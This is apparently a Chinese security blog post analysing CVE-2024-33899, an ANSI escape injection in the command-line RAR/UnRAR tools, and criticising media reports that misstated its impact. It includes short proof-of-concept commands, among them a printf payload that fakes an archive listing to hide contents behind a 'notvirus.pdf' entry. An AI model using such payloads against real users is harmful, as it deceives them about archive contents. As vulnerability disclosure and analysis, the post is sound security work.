CVE-2024-33899 WinRAR RAR/UnRAR Escape Sequence 注入漏洞

从 CVE-2024-33899 看垃圾英文小编污染简体中文互联网🤡

0x01. 漏洞简介

WinRAR 里面存在的 Escape Sequence 注入漏洞,影响命令行版本的 RAR 和 UnRAR:

  • Windows CVE-2024–36052
  • Linux/Unix CVE-2024–33899

PoC 测试:

cd /tmp
wget https://www.win-rar.com/fileadmin/winrar-versions/rarlinux-x64-624.tar.gz
tar -xzf rarlinux-x64-624.tar.gz
cd rar
./rar a demo.rar readme.txt
printf 'Hello \033[32mTHIS IS GREEN\033[0m\007' | ./rar c demo.rar
./rar l demo.rar

CVE-2024-33899 WinRAR RAR/UnRAR Escape Sequence 注入漏洞

漏洞比较鸡肋,就是玩玩 Escape Sequence Injection,比如伪造压缩文件列表(关键 Payload 为 \e[8m):

printf 'Archive: demo.rar\nDetails: RAR 5\n\nAttributes      Size       Date   Time   Name\n----------- ---------  ---------- -----  ---------\n-rw-r--r--          7  2024-05-19 16:26  notvirus.pdf\n----------- ---------  ---------- -----  ---------\n                    7                    1\e[8m' | rar c demo.rar

对于某些环境可以 DoS,参考 Weaponizing Plain Text: ANSI Escape Sequences as a Forensic Nightmare

0x02. 故事起源

在微信公众号看到某条推送:

WinRAR 漏洞让攻击者利用 ANSI 转义序列欺骗用户

通过制作包含这些序列的恶意档案,攻击者可以操纵显示的输出并欺骗用户相信他们正在打开无害的文件,例如 PDF 或图像。

当用户尝试在WinRAR中打开看似无害的文件时,由于对文件扩展名处理不当,漏洞就会被触发。

Dushantha 表示,WinRAR 的 ShellExecute 函数没有启动预期的文件,而是收到了错误的参数并执行了隐藏的恶意脚本,例如批处理文件 (.bat) 或命令脚本 (.cmd) 。

看起来把 WinRAR 漏洞 CVE-2023-38831 的影响移植过来了,而且说是漏洞作者 Dushantha 说的🤡,这里是直接翻译了英文内容:

By crafting malicious archives containing these sequences, attackers can manipulate the displayed output and deceive users into believing they are opening a harmless file, such as a PDF or image.

When a user attempts to open the seemingly benign file from within WinRAR, the vulnerability is triggered due to improper handling of file extensions.

Instead of launching the expected file, WinRAR’s ShellExecute function receives an incorrect parameter and executes a hidden malicious script, such as a batch file (.bat) or command script (.cmd), Dushantha said.

还给出了作者的原始 Blog,简直一本正经胡说八道。

0x03. References

  1. ANSI Escape Injection Vulnerability in WinRAR | by Siddharth Dushantha | May, 2024 | Medium
请作者喝杯咖啡☕